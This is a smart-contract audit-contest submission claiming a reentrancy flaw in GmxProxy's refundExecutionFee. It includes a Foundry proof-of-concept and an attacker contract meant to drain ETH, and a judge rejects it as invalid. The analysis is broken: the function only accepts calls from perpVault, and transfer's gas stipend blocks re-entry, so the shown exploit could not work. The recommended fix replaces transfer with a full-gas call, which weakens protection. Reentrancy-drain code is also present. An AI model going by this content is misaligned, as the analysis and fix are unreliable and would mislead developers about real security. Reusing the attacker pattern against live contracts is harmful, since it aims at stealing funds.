DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Reentrancy Attack Risk in refundExecutionFee Function on GmxProxy

Summary

The refundExecutionFee function lacks reentrancy protection, allowing an attacker to re-enter the function and manipulate contract state. If a malicious contract is the recipient, it can repeatedly withdraw ETH from the contract before the function completes execution.

This could drain funds and cause unauthorized withdrawals, leading to severe financial loss.

Vulnerability Details

  • The function sends ETH to the recipient without using ReentrancyGuard.

  • If receipient is a malicious contract, it could execute another call to refundExecutionFee before the first call completes.

  • This allows the attacker to repeatedly withdraw funds before the contract updates its balance.

function refundExecutionFee(address receipient, uint256 amount) external {
require(msg.sender == perpVault, "invalid caller");
payable(receipient).transfer(amount);
}

Proof of Concept (PoC) Exploit:

  1. Deploys the vulnerable GmxProxy contract.

  2. Deploys the ReentrancyAttacker contract that will exploit the vulnerability.

  3. Funds the GmxProxy contract with ETH.

  4. Attacker calls refundExecutionFee and re-enters the function to drain funds.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {GmxProxy} from "../src/GmxProxy.sol"; // Path to your vulnerable contract
import {ReentrancyAttacker} from "../src/ReentrancyAttacker.sol"; // Path to exploit contract
contract ReentrancyExploitTest is Test {
GmxProxy gmxProxy;
ReentrancyAttacker attacker;
address owner = address(0x1);
address attackerEOA = address(0x2);
function setUp() public {
vm.startPrank(owner);
// Deploy the vulnerable contract
gmxProxy = new GmxProxy();
vm.stopPrank();
// Fund GmxProxy contract with 10 ETH
vm.deal(address(gmxProxy), 10 ether);
console.log("GmxProxy Balance Before Attack:", address(gmxProxy).balance);
// Deploy Attacker Contract
vm.startPrank(attackerEOA);
attacker = new ReentrancyAttacker(address(gmxProxy));
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attackerEOA);
// Start Attack
attacker.attack();
vm.stopPrank();
// Check that GmxProxy has been drained
console.log("GmxProxy Balance After Attack:", address(gmxProxy).balance);
console.log("Attacker Balance After Attack:", address(attacker).balance);
assertEq(address(gmxProxy).balance, 0, "GmxProxy should be drained");
assertGt(address(attacker).balance, 9 ether, "Attacker should have stolen ETH");
}
}

Malicious Contract (Reentrancy Attacker):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import {GmxProxy} from "../src/GmxProxy.sol"; // Path to your vulnerable contract
contract ReentrancyAttacker {
GmxProxy public gmxProxy;
constructor(address _gmxProxy) {
gmxProxy = GmxProxy(_gmxProxy);
}
// Start the attack
function attack() external {
gmxProxy.refundExecutionFee(address(this), 1 ether);
}
// Re-enter `refundExecutionFee` before the first call completes
receive() external payable {
if (address(gmxProxy).balance > 0) {
gmxProxy.refundExecutionFee(address(this), 1 ether);
}
}
}

Impact

  • Funds in the contract can be drained using a reentrancy attack.

  • A malicious contract can repeatedly withdraw ETH before the function execution completes.

  • No balance tracking or reentrancy protection, leading to severe financial loss.

Tools Used

Manual review, Foundry

Recommendations

  • Prevents reentrancy attacks by using nonReentrant.

  • Ensures transfer succeeds using require(success).

function refundExecutionFee(address receipient, uint256 amount) external nonReentrant {
require(msg.sender == perpVault, "invalid caller");
(bool success, ) = receipient.call{value: amount}("");
require(success, "ETH transfer failed");
}
Updates

Lead Judging Commences

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.